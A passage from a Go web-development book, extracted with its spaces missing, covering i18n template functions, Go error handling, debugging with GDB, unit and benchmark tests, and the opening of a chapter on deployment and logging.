Thenuseitfromyourtemplate:

{{.V.Now|TD}}

3CurrencyInformation

CurrenciesusetheTr.Moneyfunctiontoconvertmoney.ThemapFuncisimplementedasfollows:

funcI18nMoney(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Money(s)}

Registerthefunctionlikeso:

t.Funcs(template.FuncMap{"M":I18nMoney})

Thenuseitfromyourtemplate:

{{.V.Money|M}}

Summary

Inthissectionwelearnedhowtoimplementmultiplelanguagepacksinourwebapplications.Wesawthatthroughcustomlanguagepacks,wecannotonlyeasilyinternationalizeourapplications,butfacilitatetheadditionofotherlanguagesalso(throughtheuseofaconfigurationfile).Bydefault,the

go-i18npackagewillprovidesomecommonconfigurationsfortime,currency,etc.,whichcanbeveryconvenienttouse.Welearnedthatthesefunctionscanalsobeuseddirectlyfromourtemplatesusingmappingfunctions;eachtranslatedstringcanbepipeddirectlytoourtemplates.Thisenablesourwebapplicationstoaccommodatemultiplelanguageswithminimaleffort.

Links

DirectoryPrevioussection:LocalizedresourcesNextsection:Summary

10.4SummaryThroughthisintroductorychapteroni18n,youshouldnowbefamiliarwithsomeofthestepsandprocessesthatarenecessaryforinternationalizingandlocalizingyourwebsites.I'vealsointroducedanopensourcesolutionfori18ninGo:go-i18n.Usingthisopensourcelibrary,wecaneasilyimplementmulti-languageversionsofourwebapplications.Thisallowsourapplicationstobeflexibleandresponsivetolocalaudiencesallaroundtheworld.Ifyoufindanerrorinthisopensourcelibraryoranymissingfeatures,pleaseopenanissueorapullrequest!Let'sstrivetomakeitoneofGo'sstandardlibraries!

Links

DirectoryPrevioussection:InternationalsitesNextchapter:Errorhandling,debuggingandtesting

11ErrorHandling,Debugging,

andTestingWeoftenseethemajorityofaprogrammer's"programming"timespentoncheckingforbugsandworkingonbugfixes.Whetheryouarerefactoringcodeorre-configuringsystems,muchofyourtimewillundoubtedlybespenttroubleshootingandtesting.Fromtheoutside,peoplemaythinkthatallwedoasprogrammersisdesignoursystemsandthenwriteourcode.Theymightthinkthatwehavetheidealjob!Wedoworkthatisveryengaging,andimplementsystemsthathaveneverbeendonebefore.Whilethislastpartmaybetrue,whattheydon'tknowisthatwespendthemajorityofourtimecyclingbetweentroubleshooting,debuggingandtestingourcode!Ofcourse,ifyouhavegoodprogramminghabitsandthetechnologicalsolutionstohelpyoutakeonthesetasks,thenyoucanminimizethetimespentdoingthesethings,enablingyoutofocusinsteadonmorevaluablethingsliketheapplicationlogic.

Unfortunately,manyprogrammersarenotthoroughinfulfillingtheirerrorhandling,debuggingandtestingresponsibilitiesbeforehand.Inexperiencedprogrammerswilloftenonlymakeanefforttofinderrorsandflawsaftertheyhaveoccurred,spendinghourslocatingandfixingproblemsaftertheapplicationisalreadyonline.It'sgoodpractice(andprobablycommonsense)thatweshoulddesignourapplicationswithpropererrorhandling,testcases,etc.,fromthegetgo.Thiswillmakeyourjob,andthejobsofalltheotherdeveloperswhomaybeworkingonyourapplicationsomeday,mucheasierwhentheyinevitablyneedtomodifythecodeorupgradethesystem.

Intheprocessofdevelopingwebapplications,youwillinevitablyencounterunforeseenerrors.What'sthemostefficientwayoffindingthecausesoftheseerrorsandsolvingthem?Section11.1describeshowtohandleerrorsintheGolanguageaswellashowtodesignyourownerrorhandlingpackageandfunctions.Section11.2describeshowtouseGDBtodebugprogramsunderdynamicoperatingconditions,dependingonavarietyofvariableinformation.Wethendiscussapplicationmonitoringanddebuggingoperations.

Section11.3willexplainunittestinginGoandfeaturesomein-depthdiscussionsandexamplesonhowtowriteunittests,aswellasdefiningGo'sunittestingrules.We'llseehowfollowingtheseruleswillensurethatwhenupgradingormodifyingyourapplication,thetestcodewillbeabletorunsmoothly.

Manyprogrammersavoidspendingtimetolearnandcultivategooddebuggingandtestinghabits.Thischaptertakesontheseissueshead-onsoyouwon'thavetorunawayfromthesetasksanylonger.Sinceyou'rejustlearninghowtobuildwebapplicationsinGo,let'susethisopportunitytoestablishthesegoodhabitsfromtheverybeginning.

Links

DirectoryPreviouschapter:Chapter10summaryNextsection:Errorhandling

11.1ErrorhandlingGo'smajordesignconsiderationsarerootedinthefollowingideas:asimple,clear,andconcisesyntax(similartoC)andstatementswhichareexplicitanddon'tcontainanyhiddenorunexpectedthings.Go'serrorhandlingschemereflectsalloftheseprinciplesinthewaythatit'simplemented.Ifyou'refamiliarwiththeClanguage,you'llknowthatit'scommontoreturn-1orNULLvaluestoindicatethatanerrorhasoccurred.HoweveruserswhoarenotfamiliarwithC'sAPIwillnotknowexactlywhatthesereturnvaluesmean.InC,it'snotexplicitwhetheravalueof0indicatessuccessoffailure.Ontheotherhand,Goexplicitlydefinesatypecallederrorforthesolepurposeofexpressingerrors.Wheneverafunctionreturns,wechecktoseewhethertheerrorvariableisnilornottodetermineiftheoperationwassuccessful.Forexample,theos.Openfunctionfails,itwillreturnanon-nilerrorvariable.

funcOpen(namestring)(file*File,errerror)

Here'sanexampleofhowwe'dhandleanerrorinos.Open.First,weattempttoopenafile.Whenthefunctionreturns,wechecktoseewhetheritsucceededornotbycomparingtheerrorreturnvaluewithnil,callinglog.Fataltooutputanerrormessageifit'sanon-nilvalue:

f,err:=os.Open("filename.ext")iferr!=nil{log.Fatal(err)}

Similartotheos.Openfunction,thefunctionsinGo'sstandardpackagesallreturnerrorvariablestofacilitateerrorhandling.Thissectionwillgointodetailaboutthedesignoferrortypesanddiscusshowtoproperlyhandleerrorsinwebapplications.

Errortype

errorisaninterfacetypewiththefollowingdefinition:

typeerrorinterface{Error()string}

errorisabuilt-ininterfacetype.Wecanfinditsdefinitioninthebuiltinpackagebelow.WealsohavealotofinternalpackageswhichuseerrorinaprivatestructurecallederrorString,whichimplementstheerrorinterface:

//errorStringisatrivialimplementationoferror.typeerrorStringstruct{sstring}

func(e*errorString)Error()string{returne.s}

YoucanconvertaregularstringtoanerrorStringthrougherrors.Newinordertogetanobjectthatsatisfiestheerrorinterface.Itsinternalimplementationisasfollows:

//Newreturnsanerrorthatformatsasthegiventext.funcNew(textstring)error{return&errorString{text}}

Thefollowingexampledemonstrateshowtouseerrors.New:

funcSqrt(ffloat64)(float64,error){iff<0{return0,errors.New("math:squarerootofnegativenumber")}//implementation}

Inthefollowingexample,wepassanegativenumbertoourSqrtfunction.Checkingtheerrvariable,wecheckwhethertheerrorobjectisnon-nilusingasimplenilcomparison.Theresultofthecomparisonistrue,sofmt.Println(thefmtpackagecallstheerrormethodwhendealingwitherrorcalls)iscalledtooutputanerror.

f,err:=Sqrt(-1)iferr!=nil{fmt.Println(err)}

CustomErrors

Throughtheabovedescription,weknowthatagoErrorisaninterface.Bydefiningastructthatimplementsthisinterface,wecanimplementtheirerrordefinitions.Here'sanexamplefromtheJSONpackage:

typeSyntaxErrorstruct{msgstring//errordescriptionOffsetint64//wheretheerroroccurred}

func(e*SyntaxError)Error()string{returne.msg}

Theerror'sOffsetfieldwillnotbeprintedatruntimewhensyntaxerrorsoccur,butusingatypeassertionerrortype,youcanprintthedesirederrormessage:

iferr:=dec.Decode(&val);err!=nil{ifserr,ok:=err.(*json.SyntaxError);ok{line,col:=findLine(f,serr.Offset)returnfmt.Errorf("%s:%d:%d:%v",f.Name(),line,col,err)}returnerr}

Itshouldbenotedthatwhenthefunctionreturnsacustomerror,thereturnvalueissettotherecommendtypeoferrorratherthanacustomerrortype.Becarefulnottopre-declarevariablesofcustomerrortypes.Forexample:

funcDecode()*SyntaxError{//error,whichmayleadtothecaller'serr!=nilcomparisontoalwaysbetrue.varerr*SyntaxError//pre-declareerrorvariableifanerrorcondition{err=&SyntaxError{}}returnerr//error,erralwaysequalnon-nil,causescaller's

err!=nilcomparisontoalwaysbetrue}

Seehttp://golang.org/doc/faq#nil_errorforanindepthexplanation

TheaboveexampleshowshowtoimplementasimplecustomErrortype.Butwhatifweneedmoresophisticatederrorhandling?Inthiscase,wehavetorefertothenetpackageapproach:

packagenet

typeErrorinterface{errorTimeout()bool//Istheerroratimeout?Temporary()bool//Istheerrortemporary?}

Usingtypeassertion,wecancheckwhetherornotourerrorisoftypenet.Error,asshowninthefollowingexample.Thisallowsustorefineourerrorhandling-ifatemporaryerroroccursonthenetwork,itwillsleepfor1second,thenretrytheoperation.

ifnerr,ok:=err.(net.Error);ok&&nerr.Temporary(){time.Sleep(1e9)continue}iferr!=nil{log.Fatal(err)}

Errorhandling

GohandleserrorsandchecksthereturnvaluesoffunctionsinaC-likefashion,whichisdifferentthanwhatmostoftheothermajorlanguagesdo.Thismakesthecodemoreexplicitandpredictable,butalsomoreverbose.To

reducetheredundancyofourerror-handlingcode,wecanuseabstracterrorhandlingfunctionsthatallowustoimplementsimilarerrorhandlingbehaviour:

funcinit(){http.HandleFunc("/view",viewRecord)}

funcviewRecord(whttp.ResponseWriter,r*http.Request){c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{http.Error(w,err.Error(),500)return}iferr:=viewTemplate.Execute(w,record);err!=nil{http.Error(w,err.Error(),500)}}

Theaboveexampledemonstrateaccesstodataandtemplatecallhasdetectederrorwhenanerroroccurs,callaunifiedhandlerhttp.Error,returnsa500errorcodetotheclient,anddisplaythecorrespondingerrordata.ButwhenmoreandmoreHandleFuncjoin,soerror-handlinglogiccodewillbemoreandmore,infact,wecancustomizetheroutertoreducecode(refertorealizetheideaofthethirdchapterofHTTPDetailed).

typeappHandlerfunc(http.ResponseWriter,*http.Request)error

func(fnappHandler)ServeHTTP(whttp.ResponseWriter,r*http.Request){iferr:=fn(w,r);err!=nil{http.Error(w,err.Error(),500)}}

Abovewe'vedefinedacustomrouter.Wecanthenregisterourhandlerasusual:

funcinit(){http.Handle("/view",appHandler(viewRecord))}

The/viewhandlercanthenbehandledbythefollowingcode;itisalotsimplerthanouroriginalimplementationisn'tit?

funcviewRecord(whttp.ResponseWriter,r*http.Request)error{c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{returnerr}returnviewTemplate.Execute(w,record)}

Theerrorhandlerexampleabovewillreturnthe500InternalErrorcodetouserswhenanyerrorsoccur,inadditiontoprintingoutthecorrespondingerrorcode.Infact,wecancustomizethetypeoferrorreturnedtooutputamoredeveloperfriendlyerrormessagewithinformationthatisusefulfordebugginglikeso:

typeappErrorstruct{ErrorerrorMessagestringCodeint}

Ourcustomroutercanbechangedaccordingly:

typeappHandlerfunc(http.ResponseWriter,*http.Request)*appError

func(fnappHandler)ServeHTTP(whttp.ResponseWriter,r*http.Request){ife:=fn(w,r);e!=nil{//eis*appError,notos.Error.

c:=appengine.NewContext(r)c.Errorf("%v",e.Error)http.Error(w,e.Message,e.Code)}}

Afterwe'vefinishedmodifyingourcustomerror,ourlogiccanbechangedasfollows:

funcviewRecord(whttp.ResponseWriter,r*http.Request)*appError{c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{return&appError{err,"Recordnotfound",404}}iferr:=viewTemplate.Execute(w,record);err!=nil{return&appError{err,"Can'tdisplayrecord",500}}returnnil}

Asshownabove,wecanreturndifferenterrorcodesanderrormessagesinourviews,dependingonthesituation.Althoughthisversionofourcodefunctionssimilarlytothepreviousversion,it'smoreexplicit,anditserrormessagepromptsaremorecomprehensible.Allofthesefactorscanhelptomakeyourapplicationmorescalableascomplexityincreases.

Summary

Faulttoleranceisaveryimportantaspectofanyprogramminglanguage.InGo,itisachievedthrougherrorhandling.AlthoughErrorisonlyoneinterface,itcanhavemanyvariationsinthewaythatit'simplemented,andwecancustomizeitaccordingtoourneedsonacasebycasebasis.Byintroducingthesevariouserrorhandlingconcepts,wehopethatyouwillhavegainedsomeinsightonhowtoimplementbettererrorhandlingschemesinyourownwebapplications.

Links

DirectoryPrevioussection:Errorhandling,debuggingandtestingNextsection:DebuggingbyusingGDB

11.2DebuggingwithGDBDuringthedevelopmentprocessofanyapplication,developerswillalwaysneedtoperformsomekindofcodedebugging.PHP,Python,andmostoftheotherdynamiclanguages,areabletobemodifiedatruntime,aslongasthemodificationsdonotexplicitlyneedtobecompiled.Wecaneasilyprintdataindynamicoperatingenvironments,outputtingourchangesandprintingvariableinformationdirectly.InGo,youcanofcoursespeckleyourcodewithPrintlnsbefore-handtodisplayvariableinformationfordebuggingpurposes,butanychangestoyourcodeneedtoberecompiledeverytime.Thiscanquicklybecomecumbersome.Ifyou'veprogrammedinPythonorJavascript,you'llknowthattheformerprovidestoolssuchaspdbandipdbfordebugging,andthelatterhassimilartoolsthatareabletodynamicallydisplayvariableinformationandfacilitatesingle-stepdebugging.Fortunately,Gohasnativesupportforasimilartoolwhichprovidessuchdebuggingfeatures:GDB.ThissectionservesasabriefintroductionintodebuggingGoapplicationsusingGDB.

GDBdebuggingprofile

GDBisapowerfuldebuggingtooltargetingUNIX-likesystems,releasedbytheFSF(FreeSoftwareFoundation).GDBallowsustodothefollowingthings:

1. Initialsettingscanbecustomizeaccordingtothespecificrequirementsofyourapplication.

2. Canbesetsothattheprogrambeingdebuggedinthedeveloper'sconsolestopsattheprescribedbreakpoints(breakpointscanbe

conditionalexpressions).3. Whentheprogramhasbeenstopped,youcancheckitscurrentstatetoseewhathappened.

4. Dynamicallychangethecurrentprogram'sexecutionenvironment.

TodebugyourGoapplicationsusingGDB,theversionofGDByouusemustbegreaterthan7.1.

WhencompilingGoprograms,thefollowingpointsrequireparticularattention:

1. Using-ldflags"-s"willpreventthestandarddebugginginformationfrombeingprinted

2. Using-gcflags"-N-l"willpreventGofromperformingsomeofitsautomatedoptimizations-optimizationsofaggregatevariables,functions,etc.TheseoptimizationscanmakeitverydifficultforGDBtodoitsjob,soit'sbesttodisablethematcompiletimeusingtheseflags.

SomeofGDB'smostcommonlyusedcommandsareasfollows:

list

Alsousedinitsabbreviatedforml,listisusedtodisplaythesourcecode.Bydefault,itdisplaystenlinesofcodeandyoucanspecifythelineyouwishtodisplay.Forexample,thecommandlist15displaystenlinesofcodecenteredaroundline15,asshownbelow.

10time.Sleep(2*time.Second)11c<-i12}13close(c)14}1516funcmain(){17msg:="Startingmain"18fmt.Println(msg)19bus:=make(chanint)

break

Alsousedinitsabbreviatedformb,breakisusedtosetbreakpoints,andtakesasanargumentthatdefineswhichpointtosetthebreakpointat.Forexample,b10setsabreakpointatthetenthrow.

delete

Alsousedinitsabbreviatedformd,deleteisusedtodeletebreakpoints.Thebreakpointissetfollowedbytheserialnumber.Theserialnumbercanbeobtainedthroughtheinfobreakpointscommand.Breakpointssetwiththeircorrespondingserialnumbersaredisplayedasfollowstosetabreakpointnumber.

NumTypeDispEnbAddressWhat2breakpointkeepy0x0000000000400dc3inmain.mainat/home/xiemengjun/gdb.go:23breakpointalreadyhit1time

backtrace

Abbreviatedasbt,thiscommandisusedtoprinttheexecutionofthecode,forinstance:

#0main.main()at/home/xiemengjun/gdb.go:23#10x000000000040d61einruntime.main()at/home/xiemengjun/go/src/pkg/runtime/proc.c:244#20x000000000040d6c1inschedunlock()at/home/xiemengjun/go/src/pkg/runtime/proc.c:267#30x0000000000000000in??()

info

Theinfocommandcanbeusedinconjunctionwithseveralparameterstodisplayinformation.Thefollowingparametersarecommonlyused:

infolocals

Displaysthecurrentlyexecutingprogram'svariablevalues

infobreakpoints

Displaysalistofcurrentlysetbreakpoints

infogoroutines

Displaysthecurrentlistofrunninggoroutines,asshowninthefollowingcode,withthe*indicatingthecurrentexecution

*1runningruntime.gosched*2syscallruntime.entersyscall3waitingruntime.gosched4runnableruntime.gosched

print

Abbreviatedasp,thiscommandisusedtoprintvariablesorotherinformation.Ittakesasargumentsthevariablenamestobeprintedandofcourse,therearesomeveryusefulfunctionssuchas$len()and$cap()thatcanbeusedtoreturnthelengthorcapacityofthecurrentstrings,slicesormaps.

whatis

whatisisusedtodisplaythecurrentvariabletype,followedbythevariablename.Forinstance,whatismsg,willoutputthefollowing:

type=structstring

next

Abbreviatedasn,nextisusedinsingle-stepdebuggingtoskiptothenextstep.Whenthereisabreakpoint,youcanenterntojumptothenextsteptocontinue

continue

Abbreviatedasc,continueisusedtojumpoutofthecurrentbreakpointandcanbefollowedbyaparameterN,whichspecifiesthenumberoftimestoskipthebreakpoint

setvariable

Thiscommandisusedtochangethevalueofavariableintheprocess.Itcanbeusedlikeso:setvariable<var>=<value>

Thedebuggingprocess

Now,let'stakealookatthefollowingcodetoseehowGDBistypicallyusedtodebugGoprograms:

packagemain

import("fmt""time")

funccounting(cchan<-int){fori:=0;i<10;i++{time.Sleep(2*time.Second)c<-i}close(c)}

funcmain(){msg:="Startingmain"fmt.Println(msg)bus:=make(chanint)msg="startingagofunc"gocounting(bus)forcount:=rangebus{fmt.Println("count:",count)}}

Nowwecompilethefile,creatinganexecutablefilecalled"gdbfile":

gobuild-gcflags"-N-l"gdbfile.go

UsetheGDBcommandtostartdebugging:

gdbgdbfile

AfterfirststartingGDB,you'llhavetoentertheruncommandtoseeyourprogramrunning.Youwillthenseetheprogramoutputthefollowing;executingtheprogramdirectlyfromthecommandlinewilloutputexactlythesamething:

(gdb)runStartingprogram:/home/xiemengjun/gdbfileStartingmaincount:0count:1count:2count:3count:4count:5count:6count:7count:8count:9[LWP2771exited][Inferior1(process2771)exitednormally]

Ok,nowthatweknowhowtogettheprogramupandrunning,let'stakealookatsettingbreakpoints:

(gdb)b23Breakpoint1at0x400d8d:file/home/xiemengjun/gdbfile.go,line23

.(gdb)runStartingprogram:/home/xiemengjun/gdbfileStartingmain[NewLWP3284][SwitchingtoLWP3284]

Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)

Intheaboveexample,weusetheb23commandtosetabreakpointonline23ofourcode,thenenterruntostarttheprogram.Whenourprogramstopsatourbreakpoint,wetypicallyneedtolookatthecorrespondingsourcecodecontext.EnteringthelistcommandintoourGDBsession,wecanseethefivelinesofcodeprecedingourbreakpoint:

(gdb)list18fmt.Println(msg)19bus:=make(chanint)20msg="startingagofunc"21gocounting(bus)22forcount:=rangebus{23fmt.Println("count:",count)24}25}

NowthatGDBisrunningthecurrentprogramenvironment,wehaveaccesstosomeusefuldebugginginformationthatwecanprintout.Toseethecorrespondingvariabletypesandvalues,typeinfolocals:

(gdb)infolocalscount=0bus=0xf840001a50(gdb)pcount$1=0(gdb)pbus$2=(chanint)0xf840001a50(gdb)whatisbustype=chanint

Tolettheprogramcontinueitsexecutionuntilthenextbreakpoint,entertheccommand:

(gdb)cContinuing.count:0[NewLWP3303][SwitchingtoLWP3303]

Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)(gdb)cContinuing.count:1[SwitchingtoLWP3302]

Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)

Aftereachc,thecodewillexecuteoncethenjumptothenextiterationoftheforloop.Itwill,ofcourse,continuetoprintouttheappropriateinformation.

Let'ssaythatyouneedtochangethecontextvariablesinthecurrentexecutionenvironment,skiptheprocessthencontinuetothenextstep.Youcandosobyfirstusinginfolocalstogetthevariablestates,thenthesetvariablecommandtomodifythem:

(gdb)infolocalscount=2bus=0xf840001a50(gdb)setvariablecount=9(gdb)infolocalscount=9bus=0xf840001a50(gdb)cContinuing.count:9[SwitchingtoLWP3302]

Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)

Finally,whilerunning,theprogramcreatesanumberofnumbergoroutines.Wecanseewhateachgoroutineisdoingusinginfogoroutines:

(gdb)infogoroutines*1runningruntime.gosched*2syscallruntime.entersyscall3waitingruntime.gosched4runnableruntime.gosched(gdb)goroutine1bt#00x000000000040e33binruntime.gosched()at/home/xiemengjun/go/src/pkg/runtime/proc.c:927#10x0000000000403091inruntime.chanrecv(c=void,ep=void,selected=void,received=void)at/home/xiemengjun/go/src/pkg/runtime/chan.c:327#20x000000000040316finruntime.chanrecv2(t=void,c=void)at/home/xiemengjun/go/src/pkg/runtime/chan.c:420#30x0000000000400d6finmain.main()at/home/xiemengjun/gdbfile.go:22#40x000000000040d0c7inruntime.main()at/home/xiemengjun/go/src/pkg/runtime/proc.c:244#50x000000000040d16ainschedunlock()at/home/xiemengjun/go/src/pkg/runtime/proc.c:267#60x0000000000000000in??()

Fromthegoroutinescommand,wecanhaveabetterpictureofwhatGo'sruntimesystemisdoinginternally;thecallingsequenceforeachfunctionisplainlydisplayed.

Summary

Inthissection,weintroducedsomebasiccommandsfromtheGDBdebuggerthatyoucanusetodebugyourGoapplications.Theseincludedtherun,print,info,setvariable,continue,listandbreakcommands,amongothers.Fromthebriefexamplesabove,Ihopethatyouwillhavea

betterunderstandingofhowthedebuggingprocessworksinGousingtheGDBdebugger.Ifyouwanttogetmoredebuggingtips,pleaserefertotheGDBmanualonitsofficialwebsite.

Links

DirectoryPrevioussection:ErrorhandlingNextsection:Writetestcases

11.3WritingtestcasesInthecourseofdevelopment,averyimportantstepistotestourcodetoensureitsqualityandintegrity.Weneedtomakesurethateveryfunctionreturnstheexpectedresult,andthatourcodeperformsoptimally.Wealreadyknowthatthefocusofunittestsistofindlogicalerrorsinthedesignorimplementationofprograms.Theyareusedtodetectandexposeproblemsincodeearlyonsothatwecanmoreeasilyfixthem,beforetheygetoutofhand.Wealsoknowthatperformancetestsareconductedforthepurposeofoptimizingourcodesothatitisstableunderload,andcanmaintainahighlevelofconcurrency.Inthissection,we'lltakealookatsomecommonlyaskedquestionsabouthowunitandperformancetestsareimplementedinGo.

TheGolanguagecomeswithalightweighttestingframeworkcalledtesting,andwecanusethegotestcommandtoexecuteunitandperformancetests.Go'stestingframeworkworkssimilarlytotestingframeworksinotherlanguages.Youcandevelopallsortsoftestsuiteswiththem,whichmayincludetestsforunittestes,benchmarking,stresstests,etc.Let'slearnabouttestinginGo,stepbystep.

Howtowritetestcases

Sincethegotestcommandcanonlybeexecutedinadirectorycontainingallcorrespondingfiles,wearegoingtocreateanewprojectdirectorygotestsothatallofourcodeandtestcodeareinthesamedirectory.

Let'sgoaheadandcreatetwofilesinthedirectorycalledgotest.goandgotest_test.go

1. Gotest.go:Thisfiledeclaresourpackagenameandhasafunctionthatperformsadivisionoperation:

packagegotest

import("errors")

funcDivision(a,bfloat64)(float64,error){ifb==0{return0,errors.New("Divisorcannotbe0")}returna/b,nil}

2. Gotest_test.go:Thisisourunittestfile.Keepinmindthefollowingprinciplesfortestfiles:

3. Filenamesmustendin_test.gosothatgotestcanfindandexecutetheappropriatecode

4. Youhavetoimportthetestingpackage5. AlltestcasefunctionsbeginwithTest6. Testcasesfollowthesourcecodeorder7. TestfunctionsoftheformTestXxx()takeatesting.Targument;wecanusethistypetorecorderrorsortogetthetestingstatus

8. InfunctionsoftheformfuncTestXxx(t*testing.T),theXxxsectioncanbeanyalphanumericcombination,butthefirstlettercannotbealowercaseletter[az].Forexample,Testintdivwouldbeaninvalid

functionname.9. BycallingoneoftheError,Errorf,FailNow,FatalorFatalIfmethodsoftesting.Tonourtestingfunctions,wecanfailthetest.Inaddition,wecancalltheLogmethodoftesting.Ttorecordtheinformationintheerrorlog.

Hereisourtestcode:

packagegotest

import("testing")

funcTest_Division_1(t*testing.T){//tryaunittestonfunctionifi,e:=Division(6,2);i!=3||e!=nil{//Ifitisnotasexpected,thenthetesthasfailedt.Error("divisionfunctiontestsdonotpass")}else{//recordtheexpectedinformationt.Log("firsttestpassed")}}

funcTest_Division_2(t*testing.T){t.Error("justdoesnotpass")}

Whenexecutinggotestintheprojectdirectory,itwilldisplaythefollowinginformation:

---FAIL:Test_Division_2(0.00seconds)gotest_test.go:16:isnotpassedFAILexitstatus1FAILgotest0.013s

Wecanseefromthisresultthatthesecondtestfunctiondoesnotpasssince

wewroteinadead-endusingt.Error.Butwhatabouttheperformanceofourfirsttestfunction?Bydefault,executinggotestdoesnotdisplaytestresults.Weneedtosupplytheverboseargument-vlikegotest-vtodisplaythefollowingoutput:

===RUNTest_Division_1---PASS:Test_Division_1(0.00seconds)gotest_test.go:11:firsttestpassed===RUNTest_Division_2---FAIL:Test_Division_2(0.00seconds)gotest_test.go:16:isnotpassedFAILexitstatus1FAILgotest0.012s

Theaboveoutputshowsindetailtheresultsofourtest.Weseethatthetestfunction1Test_Division_1passes,andthetestfunction2Test_Division_2fails,finallyconcludingthatourtestsuitedoesnotpass.Next,wemodifythetestfunction2withthefollowingcode:

funcTest_Division_2(t*testing.T){//tryaunittestonfunctionif_,e:=Division(6,0);e==nil{//Ifitisnotasexpected,thentheerrort.Error("Divisiondidnotworkasexpected.")}else{//recordsomeoftheinformationyouexpecttorecordt.Log("onetestpassed.",e)}}

Weexecutegotest-vonceagain.Thefollowinginformationshouldnowbedisplayed-thetestsuitehaspassed~:

===RUNTest_Division_1---PASS:Test_Division_1(0.00seconds)gotest_test.go:11:firsttestpassed===RUNTest_Division_2

---PASS:Test_Division_2(0.00seconds)gotest_test.go:20:onetestpassed.divisorcannotbe0PASSokgotest0.013s

Howtowritestresstests

Stresstestingisusedtodetectfunctionperformance,andbearssomeresemblancetounittesting(whichwewillnotgetintohere),howeverweneedtopayattentiontothefollowingpoints:

Stresstestsmustfollowthefollowingformat,whereXXXcanbeanyalphanumericcombinationanditsfirstlettercannotbealowercaseletter.

funcBenchmarkXXX(b*testing.B){...}

Bydefault,Gotestdoesnotperformfunctionstresstests.Ifyouwanttoperformstresstests,youneedtosettheflag-test.benchwiththeformat:-test.bench="test_name_regex".Forinstance,torunallstresstestsinyoursuite,youwouldrungotest-test.bench=".*".

Inyourstresstests,pleaseremembertousetesting.B.Nanyloopbodies,sothatthetestscanberunproperly.Asbefore,testfilenamesmustendin_test.go

Herewecreateastresstestfilecalledwebbench_test.go:

packagegotest

import("testing")

funcBenchmark_Division(b*testing.B){fori:=0;i<b.N;i++{//useb.NforloopingDivision(4,5)

}}

funcBenchmark_TimeConsumingFunction(b*testing.B){b.StopTimer()//callthefunctiontostopthestresstesttimecount

//Dosomeinitializationwork,suchasreadingfiledata,databaseconnectionsandthelike,//Sothatourbenchmarksreflecttheperformanceofthefunctionitself

b.StartTimer()//re-starttimefori:=0;i<b.N;i++{Division(4,5)}}

Wethenexecutethegotest-filewebbench_test.go-test.bench=".*"command,whichoutputsthefollowingresults:

PASSBenchmark_Division5000000007.76ns/opBenchmark_TimeConsumingFunction5000000007.80ns/opokgotest9.364s

TheaboveresultsshowthatwedidnotperformanyofourTestXXXunittestfunctions,andinsteadonlyperformedourBenchmarkXXXtests(whichisexactlyasexpected).ThefirstBenchmark_DivisiontestshowsthatourDivision()functionexecuted500milliontimes,withanaverageexecutiontimeof7.76ns.ThesecondBenchmark_TimeConsumingFunctionshowsthatourTmeConsumingFunctionexecuted500milliontimes,withanaverageexecutiontimeof7.80ns.Finally,itoutputsthetotalexecutiontimeofourtestsuite.

Summary

FromourbriefencounterwithunitandstresstestinginGo,wecanseethat

thetestingpackageisverylightweight,yetpackedwithusefulutilities.Wesawthatwritingunitandstresstestscanbeverysimple,andrunningthemcanbeeveneasierwithGo'sbuilt-ingotestcommand.Everytimewemodifyourcode,wecansimplyrungotesttobeginregressiontesting.

Links

DirectoryPrevioussection:DebuggingusingGDBNextsection:Summary

11.4SummaryOverthecourseofthelastthreesections,we'veintroducedhowtohandleerrorsinGo,firstlookingatgooderrorhandlingpracticesanddesign,thenlearninghowtousetheGDBdebuggereffectively.WesawthatwithGDB,wecanperformsingle-stepdebugging,viewandmodifyourprogramvariablesduringexecution,andprintouttherelevantprocessinformation.Finally,wedescribedhowtouseGo'sbuilt-intestingframeworktowriteunitandstresstests.Properlyusingthisframeworkallowsustoeasilymakeanyfuturechangestoourcodeandperformthenecessaryregressiontesting.Goodwebapplicationsmusthavegooderrorhandling,andpartofthatishavingreadableerrorsanderrorhandlingmechanismswhichcanscaleinapredictablemanner.Usingthetoolsmentionedaboveaswellaswritinghighqualityandthoroughunitandstresstests,wecanhavepeaceofmindknowingthatonceourapplicationsarelive,theycanmaintainoptimalperformanceandrunasexpected.

Links

DirectoryPrevioussection:WritetestcasesNextchapter:Deploymentandmaintenance

12DeploymentandmaintenanceSofar,we'vecoveredthebasicsofdeveloping,debuggingandtestingwebapplicationsinGo.Asisoftensaid,however:thelast10%ofdevelopmenttakes90%ofthetime.Inthischapter,wewillbeemphasizingthislast10%ofapplicationdevelopmentinordertotrulycraftreliableandhighqualitywebapplications.Inthefirstsection,wewillexaminehowproductionservicesgeneratelogs,andtheprocessofloggingitself.Thesecondsectionwilldescribedealingwithruntimeerrors,andhowtomanagethemwhentheyoccursothattheimpactonendusersisminimized.Inthethirdsection,wetacklethesubjectofdeployingstandaloneGoprograms,whichcanbetrickyatfirst.Asyoumightknow,GoprogramscannotbewrittenwithdaemonslikeyouwouldwithalanguagesuchasC.We'lldiscusshowbackgroundprocessesaretypicallymanagedinGo.Finally,ourfourthandlastsectionwilladdresstheprocessofbackingupandrecoveringapplicationdatainGo.We'lltakealookatsometechniquesforensuringthatintheeventofacrash,wewillbeabletomaintaintheintegrityofourdata.

Links

DirectoryPreviouschapter:Chapter11summaryNextsection:Logs

12.1LogsWewanttobuildwebapplicationsthatcankeeptrackofeventswhichhaveoccurredthroughoutexecution,combiningthemallintooneplaceforeasyaccesslateron,whenweinevitablyneedtoperformdebuggingoroptimizationtasks.Goprovidesasimplelogpackagewhichwecanusetohelpusimplementsimpleloggingfunctionality.LogscanbeprintedusingGo'sfmtpackage,calledinsideerrorhandlingfunctionsforgeneralerrorlogging.Go'sstandardpackageonlycontainsbasicfunctionalityforlogging,

